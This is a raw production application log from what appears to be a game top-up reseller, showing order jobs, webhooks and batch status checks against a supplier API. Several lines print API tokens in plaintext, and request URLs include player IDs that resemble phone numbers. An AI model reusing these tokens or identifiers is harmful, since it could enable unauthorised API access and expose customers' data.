[2026-03-24 21:22:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:22:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:22:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"processed":1,"errors":0} 
[2026-03-24 21:22:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262,"processed":1,"errors":0} 
[2026-03-24 21:22:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"DW9QRSD4uKXrZv4LtABKa8yq4gvmPQBV","execution_time":"2026-03-24 21:22:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-2daQg8M-1774376464","operation_id":164262} 
[2026-03-24 21:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 21:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 21:22:24] production.INFO: Constructing job for order: 179390  
[2026-03-24 21:22:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OhcE-1774376511","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:22:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-OhcE-1774376511","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:22:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:22:24] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179388} 
[2026-03-24 21:22:24] production.INFO: Order updated successfully. Order ID: 179388, Status: completed  
[2026-03-24 21:22:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OhcE-1774376511","status":"completed","codes_count":0} 
[2026-03-24 21:22:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 21:22:25] production.INFO: Handling job for order: 179390  
[2026-03-24 21:22:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:22:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:22:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=082b0da5-e285-4e96-8b12-ce1510fb304c&Player_ID=0996519750  
[2026-03-24 21:22:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=082b0da5-e285-4e96-8b12-ce1510fb304c&Player_ID=0996519750","has_body":false} 
[2026-03-24 21:22:26] production.INFO: Operation sent successfully {"operation_id":164265,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-W00NL4-1774376545","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:22:26"}},"processed_data":{"order_number":"ORD-W00NL4-1774376545","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:23:03] production.INFO: Constructing job for order: 179391  
[2026-03-24 21:23:05] production.INFO: Handling job for order: 179391  
[2026-03-24 21:23:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:23:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:23:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=062fc531-b5e0-4824-a542-aa4b40585be3&Player_ID=52079026691  
[2026-03-24 21:23:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=062fc531-b5e0-4824-a542-aa4b40585be3&Player_ID=52079026691","has_body":false} 
[2026-03-24 21:23:05] production.INFO: Operation sent successfully {"operation_id":164266,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rnFxMx-1774376585","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:23:05"}},"processed_data":{"order_number":"ORD-rnFxMx-1774376585","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:23:14] production.INFO: Constructing job for order: 179392  
[2026-03-24 21:23:16] production.INFO: Constructing job for order: 179393  
[2026-03-24 21:23:17] production.INFO: Handling job for order: 179392  
[2026-03-24 21:23:17] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:23:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:23:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c5b960c4-572f-4112-ae5f-d02f98ea489d&Player_ID=0985911343  
[2026-03-24 21:23:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=c5b960c4-572f-4112-ae5f-d02f98ea489d&Player_ID=0985911343","has_body":false} 
[2026-03-24 21:23:18] production.INFO: Operation sent successfully {"operation_id":164267,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UjL3P-1774376598","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:23:18"}},"processed_data":{"order_number":"ORD-UjL3P-1774376598","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:23:18] production.INFO: Handling job for order: 179393  
[2026-03-24 21:23:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:23:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:23:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=095d3b04-303d-49fc-b764-ff9f879584f9&Player_ID=5271159418  
[2026-03-24 21:23:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=095d3b04-303d-49fc-b764-ff9f879584f9&Player_ID=5271159418","has_body":false} 
[2026-03-24 21:23:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rnFxMx-1774376585","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:23:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-rnFxMx-1774376585","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:23:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:23:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1386,"notification_type":"order_approved","reference_id":179391} 
[2026-03-24 21:23:18] production.INFO: Order updated successfully. Order ID: 179391, Status: completed  
[2026-03-24 21:23:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rnFxMx-1774376585","status":"completed","codes_count":0} 
[2026-03-24 21:23:19] production.INFO: Operation sent successfully {"operation_id":164268,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-q7eB-1774376599","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:23:19"}},"processed_data":{"order_number":"ORD-q7eB-1774376599","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 21:23:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1386  
[2026-03-24 21:23:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-q7eB-1774376599","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:23:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-q7eB-1774376599","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:23:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:23:42] production.INFO: SendAcceptReject: Notification queued {"user_id":1123,"notification_type":"order_approved","reference_id":179393} 
[2026-03-24 21:23:42] production.INFO: Order updated successfully. Order ID: 179393, Status: completed  
[2026-03-24 21:23:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-q7eB-1774376599","status":"completed","codes_count":0} 
[2026-03-24 21:23:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1123  
[2026-03-24 21:23:44] production.INFO: Constructing job for order: 179394  
[2026-03-24 21:23:46] production.INFO: Handling job for order: 179394  
[2026-03-24 21:23:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:23:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:23:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=8edf3e7e-3c0c-4973-8ce2-e0424f280c57&Player_ID=3610048447  
[2026-03-24 21:23:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=8edf3e7e-3c0c-4973-8ce2-e0424f280c57&Player_ID=3610048447","has_body":false} 
[2026-03-24 21:23:47] production.INFO: Operation sent successfully {"operation_id":164269,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4lP-1774376627","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:23:47"}},"processed_data":{"order_number":"ORD-4lP-1774376627","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:23:56] production.INFO: Constructing job for order: 179395  
[2026-03-24 21:23:59] production.INFO: Handling job for order: 179395  
[2026-03-24 21:23:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:23:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:23:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=aee12a30-9444-4658-98fa-4d08795a4b3e&Player_ID=3610048447  
[2026-03-24 21:23:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=aee12a30-9444-4658-98fa-4d08795a4b3e&Player_ID=3610048447","has_body":false} 
[2026-03-24 21:24:00] production.INFO: Operation sent successfully {"operation_id":164270,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bshbn-1774376640","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:24:00"}},"processed_data":{"order_number":"ORD-Bshbn-1774376640","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03"} 
[2026-03-24 21:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","total_operations":7,"sites_count":2} 
[2026-03-24 21:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820","ORD-4lP-1774376627","ORD-Bshbn-1774376640"]} 
[2026-03-24 21:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4lP-1774376627","operation_id":164269} 
[2026-03-24 21:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bshbn-1774376640","operation_id":164270} 
[2026-03-24 21:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 21:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":2,"order_ids":["ORD-W00NL4-1774376545","ORD-UjL3P-1774376598"]} 
[2026-03-24 21:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":2} 
[2026-03-24 21:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 21:24:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 21:24:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"count":2} 
[2026-03-24 21:24:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"count":2} 
[2026-03-24 21:24:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"user_id":1056,"notification_type":"order_approved","reference_id":179392} 
[2026-03-24 21:24:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"user_id":1056,"notification_type":"order_approved","reference_id":179390} 
[2026-03-24 21:24:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:24:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:24:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"processed":2,"errors":0} 
[2026-03-24 21:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265,"processed":2,"errors":0} 
[2026-03-24 21:24:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"A2Bbm37dIZh3MTCosOErboD1XDIy3UJD","execution_time":"2026-03-24 21:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-W00NL4-1774376545","operation_id":164265} 
[2026-03-24 21:24:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 21:24:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 21:24:15] production.INFO: Constructing job for order: 179396  
[2026-03-24 21:24:15] production.INFO: SendAcceptReject: Notification queued {"user_id":50,"notification_type":"order_approved","reference_id":179389} 
[2026-03-24 21:24:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4lP-1774376627","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:24:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-4lP-1774376627","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:24:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:24:15] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179394} 
[2026-03-24 21:24:15] production.INFO: Order updated successfully. Order ID: 179394, Status: completed  
[2026-03-24 21:24:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4lP-1774376627","status":"completed","codes_count":0} 
[2026-03-24 21:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 50  
[2026-03-24 21:24:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 21:24:18] production.INFO: Handling job for order: 179396  
[2026-03-24 21:24:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:24:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:24:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=f0e25af3-201c-4622-a7e4-78d320b5772d&Player_ID=0996519750  
[2026-03-24 21:24:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=f0e25af3-201c-4622-a7e4-78d320b5772d&Player_ID=0996519750","has_body":false} 
[2026-03-24 21:24:19] production.INFO: Operation sent successfully {"operation_id":164271,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-p8fvwv-1774376659","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:24:19"}},"processed_data":{"order_number":"ORD-p8fvwv-1774376659","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:24:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Bshbn-1774376640","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:24:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-Bshbn-1774376640","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:24:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:24:24] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":179395} 
[2026-03-24 21:24:24] production.INFO: Order updated successfully. Order ID: 179395, Status: completed  
[2026-03-24 21:24:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Bshbn-1774376640","status":"completed","codes_count":0} 
[2026-03-24 21:24:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 21:24:59] production.INFO: Constructing job for order: 179397  
[2026-03-24 21:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 21:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 21:25:03] production.INFO: async() رجع: true  
[2026-03-24 21:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:25:05] production.INFO: Handling job for order: 179397  
[2026-03-24 21:25:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:25:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:25:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a7ccc7af-5d07-45ac-a6fa-cdbb94383f68&Player_ID=51272211466  
[2026-03-24 21:25:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a7ccc7af-5d07-45ac-a6fa-cdbb94383f68&Player_ID=51272211466","has_body":false} 
[2026-03-24 21:25:06] production.INFO: Operation sent successfully {"operation_id":164272,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Gpo6a-1774376705","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:25:05"}},"processed_data":{"order_number":"ORD-Gpo6a-1774376705","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:25:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Gpo6a-1774376705","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:25:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-Gpo6a-1774376705","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:25:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:25:18] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":179397} 
[2026-03-24 21:25:18] production.INFO: Order updated successfully. Order ID: 179397, Status: completed  
[2026-03-24 21:25:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Gpo6a-1774376705","status":"completed","codes_count":0} 
[2026-03-24 21:25:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 21:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03"} 
[2026-03-24 21:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","total_operations":4,"sites_count":2} 
[2026-03-24 21:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-aN9XaXgI-1774375820"]} 
[2026-03-24 21:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 21:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NHFqUbFsOpEPeYvwpagUlmj17WhST9et","execution_time":"2026-03-24 21:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
